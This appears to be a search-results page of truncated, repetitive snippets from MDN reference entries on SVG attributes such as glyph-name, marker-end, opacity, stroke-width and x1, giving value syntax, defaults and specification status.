g2 - SVG: Scalable Vector Graphics
ing pair. all glyphs with the given glyph name are included in the set. the total set of possible second glyphs in the kerning pair is the union of glyphs specified by the u2 and g2 attributes. ...
...te: <hkern> and <vkern> context notes value <name># default value none animatable no <name># this value indicates a co
mma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible second glyphs in the kerning pair. ...
... <name># this value indicates a co
mma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible second glyphs in the kerning pair. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'g2' in that specification. ...
glyph-name - SVG: Scalable Vector Graphics
the glyph-name attribute specifies the name of a glyph. it is reco
mmended that glyph names be unique within a font. the glyph names can be used in situations where unicode character numbers do not provide sufficient information to access the correct glyph, such as when there are multiple glyphs per unicode character. the glyph names can be referenced in kerning definitions created by <hkern> and <vkern> elements. only one element is using this attribute: <glyph> context notes value <name># default value none animatable no <name># this value specifies a co
mma-separated list of names for the glyph. ...
...aracter. the glyph names can be referenced in kerning definitions created by <hkern> and <vkern> elements. ...
...ing this attribute: <glyph> context notes value <name># default value none animatable no <name># this value specifies a co
mma-separated list of names for the glyph. ...
glyph-orientation-vertical - SVG: Scalable Vector Graphics
al form of the glyph. text which is not fullwidth will be set with a glyph orientation of 90 degrees. this reorientation rule applies only to the first-level non-ideographic text. all further embedding of writing modes or bidirectional processing will be based on the first-level rotation. note: text set in this "rotated" manner may contain ligatures or other glyph combining and reordering co
mmon to the language and script. (this presentation form does not disable auto-ligature formation or similar context-driven variations.) the determination of which characters should be auto-rotated may vary across user agents. the determination is based on a complex interaction between country, language, script, character properties, font, and character context. <angle> the value of the an...
...ted to 0, 90, 180, and 270 degrees. if another angle is specified, it is rounded to the closest of the permitted values. ...
...s that all glyphs are set with the top of the glyphs oriented towards the reference orientation. ...
glyphRef - SVG: Scalable Vector Graphics
e format of which is dependent on the format of the given font. two elements are using this attribute: <altglyph> and <glyphref> usage notes value <string> default value none animatable yes <string> this value represents the glyph identifier. its format depends on the format of the given font. ...
... value <string> default value none animatable yes <string> this value represents the glyph identifier. its format depends on the format of the given font. ...
...f the given font. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyphref for <glyphref>' in that specification. ...
horiz-adv-x - SVG: Scalable Vector Graphics
glyph. glyph, missing-glyph for <glyph> and <missing-glyph> elements, horiz-adv-x specifies the horizontal advance of the glyph in horizontal orientation. value <number> default value <font>ʼs horiz-adv-x value animatable no <number> this value indicates the horizontal advance of the glyph. ...
... value <number> default value <font>ʼs horiz-adv-x value animatable no <number> this value indicates the horizontal advance of the glyph. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-adv-x for <glyph> and <missing-glyph>' in that specification. ...
... specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-adv-x for <glyph> and <missing-glyph>' in that specification. reco
mmendation initial definition for <glyph> and <missing-glyph> scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-adv-x for <font>' in that specification. ...
id - SVG: Scalable Vector Graphics
ia fragment when used as a url target fragment. it must be valid in xml documents. ...
...t uses xml 1.0 syntax, which specifies that valid ids only include designated characters (letters, digits, and a few punctuation marks), and do not start with a digit, a full stop (.) character, or a hyphen-minus (-) character. ...
...full stop (.) character, or a hyphen-minus (-) character. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'id' in that specification. candidate reco
mmendation defines the allowed values in more detail. ...
kernelMatrix - SVG: Scalable Vector Graphics
the number of entries in the list must equal to <orderx> by <ordery> as defined in the order attribute. ...
.../mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes value <list of numbers> default value none animatable yes <list of numbers> the list of <number>s that make up the kernel matrix for the convolution. values are separated by space characters and/or a co
mma. the number of entries in the list must equal <orderx> times <ordery>. if the result of orderx * ordery is not equal to the the number of entries in the value list, the filter primitive acts as a pass through filter. specifications specification status co
mment filter effects module level 1the definition of 'kernelmatrix' in that specification. working draft ...
...er of entries in the value list, the filter primitive acts as a pass through filter. specifications specification status co
mment filter effects module level 1the definition of 'kernelmatrix' in that specification. ...
lengthAdjust - SVG: Scalable Vector Graphics
h="100" lengthadjust="spacing"> shrunk using spacing only. </text> <text x="0" y="110" textlength="100" lengthadjust="spacingandglyphs"> shrunk using spacing and glyphs. ...
...adjust="spacingandglyphs"> shrunk using spacing and glyphs. ...
...glyphs default value spacing animatable yes specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'lengthadjust' in that specification. ...
marker-end - SVG: Scalable Vector Graphics
value none | <marker-ref> default value none animatable yes none indicates that no marker symbol shall be drawn at the final vertex. <marker-ref> this value is a reference to a <marker> element, which will be drawn at the final vertex. ...
...at no marker symbol shall be drawn at the final vertex. <marker-ref> this value is a reference to a <marker> element, which will be drawn at the final vertex. if the reference is not valid, then no marker will be drawn. ...
...ex. if the reference is not valid, then no marker will be drawn. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'marker-end' in that specification. ...
marker-mid - SVG: Scalable Vector Graphics
value none | <marker-ref> default value none animatable yes none indicates that no marker symbol shall be drawn at the given vertices. <marker-ref> this value is a reference to a <marker> element, which will be drawn at the given vertices. ...
...o marker symbol shall be drawn at the given vertices. <marker-ref> this value is a reference to a <marker> element, which will be drawn at the given vertices. if the reference is not valid, then no marker will be drawn. ...
...es. if the reference is not valid, then no marker will be drawn. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'marker-mid' in that specification. ...
marker-start - SVG: Scalable Vector Graphics
value none | <marker-ref> default value none animatable yes none indicates that no marker symbol shall be drawn at the first vertex. <marker-ref> this value is a reference to a <marker> element, which will be drawn at the first vertex. ...
... no marker symbol shall be drawn at the first vertex. <marker-ref> this value is a reference to a <marker> element, which will be drawn at the first vertex. if the reference is not valid, then no marker will be drawn. ...
...if the reference is not valid, then no marker will be drawn. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'marker-start' in that specification. ...
markerHeight - SVG: Scalable Vector Graphics
ither an absolute or a relative height of the marker. relative values refer to the height specified via the viewbox and preserveaspectratio attributes. <number> this value defines the height of the marker in the units defined by the markerunits attribute. ...
...serveaspectratio attributes. <number> this value defines the height of the marker in the units defined by the markerunits attribute. a value of zero disables rendering of the element and negative values are an error. ...
...the element and negative values are an error. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'markerheight' in that specification. candidate reco
mmendation allowed percentage and number values. ...
markerUnits - SVG: Scalable Vector Graphics
roperty). ...
...r> element represent values in a coordinate system which has a single unit equal the size in user units of the current stroke width (see the stroke-width attribute) in place for the graphic object referencing the marker. ...
...ibute) in place for the graphic object referencing the marker. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'markerunits' in that specification. ...
markerWidth - SVG: Scalable Vector Graphics
s either an absolute or a relative width of the marker. relative values refer to the width specified via the viewbox and preserveaspectratio attributes. <number> this value defines the width of the marker in the units defined by the markerunits attribute. ...
...reserveaspectratio attributes. <number> this value defines the width of the marker in the units defined by the markerunits attribute. a value of zero disables rendering of the element and negative values are an error. ...
...f the element and negative values are an error. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'markerwidth' in that specification. candidate reco
mmendation allowed percentage and number values. ...
maskContentUnits - SVG: Scalable Vector Graphics
efer to the user coordinate system as defined when the mask was created. objectboundingbox this value indicates that all coordinates inside the <mask> element are relative to the bounding box of the element the mask is applied to. ...
... coordinates inside the <mask> element are relative to the bounding box of the element the mask is applied to. a bounding box could be considered the same as if the content of the <mask> were bound to a "0 0 1 1" viewbox. ...
...ed the same as if the content of the <mask> were bound to a "0 0 1 1" viewbox. specifications specification status co
mment css masking module level 1the definition of 'maskcontentunits' in that specification. ...
maskUnits - SVG: Scalable Vector Graphics
stem as defined when the mask was created. objectboundingbox this value indicates that all coordinates for the geometry attributes represent fractions or percentages of the bounding box of the element to which the mask is applied. ...
...ometry attributes represent fractions or percentages of the bounding box of the element to which the mask is applied. a bounding box could be considered the same as if the content of the <mask> were bound to a "0 0 1 1" viewbox. ...
...ld be considered the same as if the content of the <mask> were bound to a "0 0 1 1" viewbox. specifications specification status co
mment css masking module level 1the definition of 'maskunits' in that specification. ...
media - SVG: Scalable Vector Graphics
="20" width="200" height="200" /> </svg> usage notes value <media-query-list> default value all animatable yes <media-query-list> this value holds a media query that needs to match in order for the style sheet to be applied. if not specified, the style sheet is applied unconditionally. ...
... all animatable yes <media-query-list> this value holds a media query that needs to match in order for the style sheet to be applied. if not specified, the style sheet is applied unconditionally. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'media' in that specification. ...
...specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'media' in that specification. candidate reco
mmendation changed the value definition from different media types as defined in css 2 to <media-query-list>. ...
method - SVG: Scalable Vector Graphics
ted characters (e.g. cursive fonts), the connections may not align properly when text is rendered along the path. stretch this value indicates that the character outlines will be converted into paths, and then stretched and possibly warped. ...
...etch this value indicates that the character outlines will be converted into paths, and then stretched and possibly warped. with this approach, connected characters, such as in cursive fonts, will maintain their connections. ...
...in cursive fonts, will maintain their connections. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'method' in that specification. candidate reco
mmendation described the stretch value in more detail. ...
name - SVG: Scalable Vector Graphics
value <name> default value none animatable yes <name> this value specifies the name of a local font. unlike the syntax allowed between the parentheses of the local(…) clause in an @font-face rule src descriptor, the font name specified in this attribute is not surrounded in single or double quotes. ...
...ike the syntax allowed between the parentheses of the local(…) clause in an @font-face rule src descriptor, the font name specified in this attribute is not surrounded in single or double quotes. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'name for <font-face-name>' in that specification. ...
... quotes. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'name for <font-face-name>' in that specification. reco
mmendation initial definition for <font-face-name> scalable vector graphics (svg) 1.1 (second edition)the definition of 'name for <color-profile>' in that specification. ...
opacity - SVG: Scalable Vector Graphics
ck" opacity="0.3" /> </svg> usage notes default value 1 value <alpha-value> animatable yes <alpha-value> the uniform opacity setting to be applied across an entire object, as a <number>. any values outside the range 0.0 (fully transparent) to 1.0 (fully opaque) will be clamped to this range. specifications specification status co
mment css color module level 4the definition of 'opacity' in that specification. working draft defines in more detail what this attribute applies to. css color module level 3the definition of 'opacity' in that specification. reco
mmendation defines in more detail what this attribute applies to. scalable vector graphics (svg) 2the definition of 'opacity' in t...
...vel 4the definition of 'opacity' in that specification. working draft defines in more detail what this attribute applies to. css color module level 3the definition of 'opacity' in that specification. reco
mmendation defines in more detail what this attribute applies to. scalable vector graphics (svg) 2the definition of 'opacity' in that specification. ...
...dation defines in more detail what this attribute applies to. scalable vector graphics (svg) 2the definition of 'opacity' in that specification. ...
operator - SVG: Scalable Vector Graphics
ology>, operator defines whether to erode (i.e., thin) or dilate (fatten) the source graphic. value erode | dilate default value erode animatable yes erode this value thins the source graphic defined in the in attribute. dilate this value fattens the source graphic defined in the in attribute. specifications specification status co
mment filter effects module level 1the definition of 'operator for <femorphology>' in that specification. working draft no change filter effects module level 1the definition of 'operator for <fecomposite>' in that specification. working draft refers to css compositing and blending specification for the values and added the lighter value. scalable vector gra...
...ation. working draft no change filter effects module level 1the definition of 'operator for <fecomposite>' in that specification. working draft refers to css compositing and blending specification for the values and added the lighter value. ...
...g and blending specification for the values and added the lighter value. scalable vector graphics (svg) 1.1 (second edition)the definition of 'operator for <femorphology>' in that specification. ...
orient - SVG: Scalable Vector Graphics
note: for example, if a value of 45 is given, then the marker's positive x-axis would be pointing down and right in the shape's coordinate system. <number> this value indicates an angle in degrees. the marker is oriented such that the specified angle is that measured between the shape's positive x-axis and the marker's positive x-axis. ...
...the shape's coordinate system. <number> this value indicates an angle in degrees. the marker is oriented such that the specified angle is that measured between the shape's positive x-axis and the marker's positive x-axis. ...
...tive x-axis. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'orient' in that specification. candidate reco
mmendation added the auto-start-reverse value and simplified the descriptions of the values. ...
path - SVG: Scalable Vector Graphics
> element. the effect of a motion path animation is a translation along the x- and y-axes of the current user coordinate system by the x and y values computed over time. value <path-data> default value none animatable no <path-data> this value defines the motion path along which the referenced element is animated. for detailed information about the co
mmands that can be used, see the explanation for the d attribute. textpath for <textpath>, path defines the path onto which the glyphs of a <text> element will be rendered. an empty string indicates that there is no path data for the element. this means that the text within the <textpath> element does not render or contribute to the bounding box of the <text> element. if the attribute is not spec...
...render or contribute to the bounding box of the <text> element. if the attribute is not specified, the path specified in href is used instead. value <path-data> default value path specified in href animatable yes <path-data> this value defines the text path along which the glyphs of the <text> element are aligned. for detailed information about the co
mmands that can be used, see the explanation for the d attribute. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'path for <textpath>' in that specification. candidate reco
mmendation initial definition for <textpath> svg animations level 2the definition of 'path for <animatemotion>' in that specification. ...
...(svg) 2the definition of 'path for <textpath>' in that specification. candidate reco
mmendation initial definition for <textpath> svg animations level 2the definition of 'path for <animatemotion>' in that specification. ...
pathLength - SVG: Scalable Vector Graphics
authors specify a total length for the shape, in user units. value <number> default value none animatable yes rect for <rect>, pathlength lets authors specify a total length for the rectangle, in user units. ...
... animatable yes rect for <rect>, pathlength lets authors specify a total length for the rectangle, in user units. ...
... value <number> default value none animatable yes specification specification status co
mment scalable vector graphics (svg) 2the definition of 'pathlength' in that specification. ...
patternContentUnits - SVG: Scalable Vector Graphics
ile was created. objectboundingbox this value indicates that all coordinates inside the <pattern> element are relative to the bounding box of the element the pattern is applied to. ...
...nding box of the element the pattern is applied to. a bounding box could be considered the same as if the content of the <pattern> were bound to a "0 0 1 1" viewbox for a pattern tile of width and height of 100%. ...
... "0 0 1 1" viewbox for a pattern tile of width and height of 100%. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'patterncontentunits' in that specification. ...
patternTransform - SVG: Scalable Vector Graphics
good. for backward compatibility reason, it is highly suggested to keep using the patterntransform attribute. ...
... <transform-list> default value identity transform animatable yes transform functions to know more about the definition of transform functions, see the transform attribute definition. ...
...efinition of transform functions, see the transform attribute definition. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'patterntransform' in that specification. ...
patternUnits - SVG: Scalable Vector Graphics
m as defined when the pattern was applied. objectboundingbox this value indicates that all coordinates for the geometry properties represent fractions or percentages of the bounding box of the element to which the mask is applied. ...
...operties represent fractions or percentages of the bounding box of the element to which the mask is applied. a bounding box could be considered the same as if the content of the <mask> were bound to a "0 0 1 1" viewbox. ...
...dered the same as if the content of the <mask> were bound to a "0 0 1 1" viewbox. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'patternunits' in that specification. ...
pointer-events - SVG: Scalable Vector Graphics
? firefox android ? opera android ? safari ios ? samsung internet android ? ...
...safari ios ? samsung internet android ? ...
... compatibility unknown compatibility unknown specification specification status co
mment scalable vector graphics (svg) 2the definition of 'pointer-events' in that specification. ...
preserveAspectRatio - SVG: Scalable Vector Graphics
value <align> <meetorslice>? default value xmidymid meet animatable yes view for <view>, preserveaspectratio indicates if a uniform scaling must be performed to fit the element viewport. ...
...gn> <meetorslice>? ...
...
mment filter effects module level 1the definition of 'preserveaspectratio' in that specification. working draft scalable vector graphics (svg) 2the definition of 'preserveaspectratio' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'preserveaspectratio' in that specification. ...
rendering-intent - SVG: Scalable Vector Graphics
o colors that have the same saturation but fall just inside the gamut. saturation this value leaves colors that fall inside the gamut unchanged. ...
...saturation this value leaves colors that fall inside the gamut unchanged. this method usually converts out of gamut colors to colors that have the same lightness but fall just inside the gamut. ...
...t have the same lightness but fall just inside the gamut. absolute-colorimetric this value disables white point matching when converting colors. note: this option is generally not reco
mmended. ...
spacing - SVG: Scalable Vector Graphics
icates that the user agent should use text-on-a-path layout algorithms to adjust the spacing between typographic characters in order to achieve visually appealing results. ...
...ters in order to achieve visually appealing results. exact this value indicates that the typographic characters should be rendered exactly according to the spacing rules as specified by the layout rules for text-on-a-path. ...
...ccording to the spacing rules as specified by the layout rules for text-on-a-path. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'spacing' in that specification. ...
specularExponent - SVG: Scalable Vector Graphics
nes the exponent value for the specular term. value <number> default value 1 animatable yes fespotlight for <fespotlight>, specularexponent defines the exponent value controlling the focus for the light source. value <number> default value 1 animatable yes specifications specification status co
mment filter effects module level 1the definition of 'specularexponent for <fespecularlighting>' in that specification. working draft no change filter effects module level 1the definition of 'specularexponent for <fespotlight>' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'specularexpone...
...n of 'specularexponent for <fespecularlighting>' in that specification. working draft no change filter effects module level 1the definition of 'specularexponent for <fespotlight>' in that specification. ...
...specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'specularexponent for <fespecularlighting>' in that specification. ...
startOffset - SVG: Scalable Vector Graphics
nce along the entire path. thus, 0% indicates the start point of the path and 100% indicates the end point of the path. <number> this value indicates a distance along the path measured in the current user coordinate system for the <textpath> element. ...
...<number> this value indicates a distance along the path measured in the current user coordinate system for the <textpath> element. note: negative values and values larger than the path length (e.g. 150%) are allowed. ...
...ive values and values larger than the path length (e.g. 150%) are allowed. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'startoffset' in that specification. ...
stop-color - SVG: Scalable Vector Graphics
olor> default value black animatable yes currentcolor this keyword denotes the current fill color and can be specified in the same manner as within a <paint> specification for the fill and stroke attributes. <color> this value indicates a color value. <icccolor> this value refers to an icc color profile. ...
...ill color and can be specified in the same manner as within a <paint> specification for the fill and stroke attributes. <color> this value indicates a color value. <icccolor> this value refers to an icc color profile. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'stop-color' in that specification. ...
.... specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'stop-color' in that specification. candidate reco
mmendation added a note that in svg the transparent keyword is treated differently than in css. ...
stop-opacity - SVG: Scalable Vector Graphics
e, it can be applied to any element but it has effect only on the following element: <stop> usage notes value <opacity-value> default value 1 animatable yes <opacity-value> this value is either a <number> between 0 and 1 or a <percentage> value specifying the opacity of the color gradient stop. ...
...<opacity-value> default value 1 animatable yes <opacity-value> this value is either a <number> between 0 and 1 or a <percentage> value specifying the opacity of the color gradient stop. ...
...ient stop. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'stop-opacity' in that specification. candidate reco
mmendation refers to the definition in css colors 3, but allows percentage values. ...
stroke-dashoffset - SVG: Scalable Vector Graphics
? firefox android ? opera android ? safari ios ? samsung internet android ? ...
...ari ios ? samsung internet android ? ...
... compatibility unknown specification specification status co
mment scalable vector graphics (svg) 2the definition of 'stroke-dashoffset' in that specification. ...
stroke-linecap - SVG: Scalable Vector Graphics
? firefox android ? opera android ? safari ios ? samsung internet android ? ...
...safari ios ? samsung internet android ? ...
... compatibility unknown specification specification status co
mment scalable vector graphics (svg) 2the definition of 'stroke-linecap' in that specification. ...
stroke-miterlimit - SVG: Scalable Vector Graphics
? firefox android ? opera android ? safari ios ? samsung internet android ? ...
...ari ios ? samsung internet android ? ...
... compatibility unknown specification specification status co
mment scalable vector graphics (svg) 2the definition of 'stroke-miterlimit' in that specification. ...
stroke-opacity - SVG: Scalable Vector Graphics
? firefox android ? opera android ? safari ios ? samsung internet android ? ...
...safari ios ? samsung internet android ? ...
... compatibility unknown specification specification status co
mment scalable vector graphics (svg) 2the definition of 'stroke-opacity' in that specification. ...
stroke-width - SVG: Scalable Vector Graphics
? firefox android ? opera android ? safari ios ? samsung internet android ? ...
... safari ios ? samsung internet android ? ...
... compatibility unknown specification specification status co
mment scalable vector graphics (svg) 2the definition of 'stroke-width' in that specification. ...
style - SVG: Scalable Vector Graphics
<style> the syntax of style data depends on the style sheet language. by default, the style sheet language is css. note: in theory, the contentstyletype attribute could be used to specify styling languages other than css, like xsl(t). ...
...is css. note: in theory, the contentstyletype attribute could be used to specify styling languages other than css, like xsl(t). however, this was never implemented satisfactorily in browsers, so you should not rely on it. ...
...this was never implemented satisfactorily in browsers, so you should not rely on it. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'style' in that specification. ...
surfaceScale - SVG: Scalable Vector Graphics
for <fespecularlighting>, surfacescale defines the height of the surface. value <number> default value 1 animatable yes fediffuselighting for <fediffuselighting>, surfacescale defines the height of the surface. value <number> default value 1 animatable yes specifications specification status co
mment filter effects module level 1the definition of 'surfacescale for <fediffuselighting>' in that specification. working draft no change filter effects module level 1the definition of 'surfacescale for <fespecularlighting>' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'surfacescale for...
...finition of 'surfacescale for <fediffuselighting>' in that specification. working draft no change filter effects module level 1the definition of 'surfacescale for <fespecularlighting>' in that specification. ...
...at specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'surfacescale for <fediffuselighting>' in that specification. ...
tableValues - SVG: Scalable Vector Graphics
working draft no change ...
...fault value empty list resulting in identity transfer animatable yes <list-of-numbers> this value holds a co
mma- and/or space-separated list of <number>s, which define a lookup table for the color component transfer function. each number can be between 0 and 1. an empty list results in an identity transfer function. specifications specification status co
mment filter effects module level 1the definition of 'tablevalues' in that specification. ...
... number can be between 0 and 1. an empty list results in an identity transfer function. specifications specification status co
mment filter effects module level 1the definition of 'tablevalues' in that specification. ...
textLength - SVG: Scalable Vector Graphics
baseval property; textlength is stored as an svglength object, so we can't treat it like a plain number. after updating the text width, the contents of the widthdisplay box are updated with the new value as well, and we're finished. result here's what the example looks like. ...
...the text width, the contents of the widthdisplay box are updated with the new value as well, and we're finished. result here's what the example looks like. try dragging the slider around to get a feel for what it does. ...
...der around to get a feel for what it does. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'textlength' in that specification. candidate reco
mmendation allowed percentages and numbers as values. ...
to - SVG: Scalable Vector Graphics
values attribute, the to attribute is ignored. set for the <set> element, to specifies the value for the attribute during the duration of the element. value <value> default value none animatable no the exact value type for this attribute depend on the value of the attribute that will be animated. specifications specification status co
mment svg animations level 2the definition of 'to for <set>' in that specification. editor's draft no change svg animations level 2the definition of 'to for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification. editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'to for <set>' in...
...ons level 2the definition of 'to for <set>' in that specification. editor's draft no change svg animations level 2the definition of 'to for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification. ...
...hat specification. editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'to for <set>' in that specification. ...
transform - SVG: Scalable Vector Graphics
he skewy(<a>) transform function specifies a skew transformation along the y axis by a degrees. ...
..." /> </svg> specification specification status co
mment css transforms level 2the definition of 'transform' in that specification. editor's draft css transforms level 1the definition of 'transform' in that specification. working draft scalable vector graphics (svg) 2the definition of 'transform' in that specification. ...
...rm' in that specification. editor's draft css transforms level 1the definition of 'transform' in that specification. ...
unicode-bidi - SVG: Scalable Vector Graphics
t only on the following eleven elements: <altglyph>, <textpath>, <text>, <tref>, and <tspan> context notes value normal | embed | isolate | bidi-override | isolate-override | plaintext default value normal animatable no for a description of the values, please refer to the css unicode-bidi property. ...
... normal | embed | isolate | bidi-override | isolate-override | plaintext default value normal animatable no for a description of the values, please refer to the css unicode-bidi property. specifications specification status co
mment css writing modes module level 3the definition of 'unicode-bidi' in that specification. ...
... specification status co
mment css writing modes module level 3the definition of 'unicode-bidi' in that specification. proposed reco
mmendation svg 2 only refers to css writing modes. introduced isolate, isolate-override, and plaintext keywords. scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode-bidi' in that specification. ...
unicode-range - SVG: Scalable Vector Graphics
the unicode-range attribute defines the range of iso 10646 characters possibly covered by the glyphs in a font. ...
...f iso 10646 characters possibly covered by the glyphs in a font. ...
... value <urange># default value none animatable no <urange># this value is a co
mma-separated list of iso 10646 characters possibly covered by the glyphs in the font. ...
values - SVG: Scalable Vector Graphics
rate", 1, resulting in identity matrix, if type="huerotate", 0, resulting in identity matrix animatable yes <list-of-numbers> the value is a list of numbers, which is interpreted differently depending on the value of the type attribute: for type="matrix", values is a list of 20 matrix values (a00 a01 a02 a03 a04 a10 a11 ... a34), separated by whitespace and/or a co
mma. for type="saturate", values is a single real number value (0 to 1). for type="huerotate", values is a single one real number value (degrees). for type="luminancetoalpha", values is not applicable. specifications specification status co
mment filter effects module level 1the definition of 'values for <fecolormatrix>' in that specification. working draft...
...alues for <fecolormatrix>' in that specification. working draft no change svg animations level 2the definition of 'values for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification. ...
...'s draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'values for <fecolormatrix>' in that specification. ...
vert-adv-y - SVG: Scalable Vector Graphics
yph, missing-glyph for <glyph> and <missing-glyph> elements, vert-adv-y specifies the vertical advance for a glyph in vertical orientation. ...
...mber> default value <font>ʼs vert-adv-y value animatable no <number> this value indicates the vertical advance of the glyph in vertical direction specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <glyph> and <missing-glyph>' in that specification. ...
... specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <glyph> and <missing-glyph>' in that specification. reco
mmendation initial definition for <glyph> and <missing-glyph> scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <font>' in that specification. ...
widths - SVG: Scalable Vector Graphics
the widths attribute indicates a list of range values, each followed by one or more glyph widths. only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value is a co
mma-separated list of ucs range values as defined in iso 10646, each followed by one or more glyph widths. if this attribute is used, the units-per-em attribute must also be used. ...
...h widths. if this attribute is used, the units-per-em attribute must also be used. ...
...ffffff is assumed which covers all characters and their glyphs. if not enough glyph widths are given, the last in the list is replicated to cover that range. ...
writing-mode - SVG: Scalable Vector Graphics
flow direction. both the writing mode and the typographic mode are horizontal. vertical-rl this value defines a right-to-left block flow direction. both the writing mode and the typographic mode are vertical. vertical-lr this value defines a left-to-right block flow direction. both the writing mode and the typographic mode are vertical. ...
...-left block flow direction. both the writing mode and the typographic mode are vertical. vertical-lr this value defines a left-to-right block flow direction. both the writing mode and the typographic mode are vertical. specifications specification status co
mment css writing modes module level 3the definition of 'writing-mode' in that specification. proposed reco
mmendation definition in css writing modes 3 scalable vector graphics (svg) 2the definition of 'writing-mode' in that specification. candidate reco
mmendation mainly refers to the definition in css writing modes 3 and defines a mapping between the deprecated svg 1.1 values and the new values. scalable vector graphics (svg) 1.1 (second edition)the definition of 'writing-mode...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
x1 - SVG: Scalable Vector Graphics
"url(#g0)" /> <!-- here the gradient vector start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'x1' in that specification. candidate reco
mmendation definition for <line> scalable vector graphics (svg) 2the definition of 'x1' in that specification. candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x1' in that specificati...
... scalable vector graphics (svg) 2the definition of 'x1' in that specification. candidate reco
mmendation definition for <line> scalable vector graphics (svg) 2the definition of 'x1' in that specification. candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x1' in that specification. ...
...ctor graphics (svg) 2the definition of 'x1' in that specification. candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x1' in that specification. reco
mmendation initial definition for <line> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x1' in that specification. ...
x2 - SVG: Scalable Vector Graphics
"url(#g0)" /> <!-- here the gradient vector start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'x2' in that specification. candidate reco
mmendation definition for <line> scalable vector graphics (svg) 2the definition of 'x2' in that specification. candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x2' in that specificati...
... scalable vector graphics (svg) 2the definition of 'x2' in that specification. candidate reco
mmendation definition for <line> scalable vector graphics (svg) 2the definition of 'x2' in that specification. candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x2' in that specification. ...
...ctor graphics (svg) 2the definition of 'x2' in that specification. candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x2' in that specification. reco
mmendation initial definition for <line> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x2' in that specification. ...
xlink:title - SVG: Scalable Vector Graphics
-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use> usage context value <anything> default value none animatable no <anything> this value specifies the title used to describe the meaning of the link or resource. ...
..., <tref>, and <use> usage context value <anything> default value none animatable no <anything> this value specifies the title used to describe the meaning of the link or resource. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'seed' in that specification. ...
...tatus co
mment scalable vector graphics (svg) 2the definition of 'seed' in that specification. candidate reco
mmendation deprecated the attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radialgradient>, <script>, <textpath>, and <use> scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification. ...
xml:lang - SVG: Scalable Vector Graphics
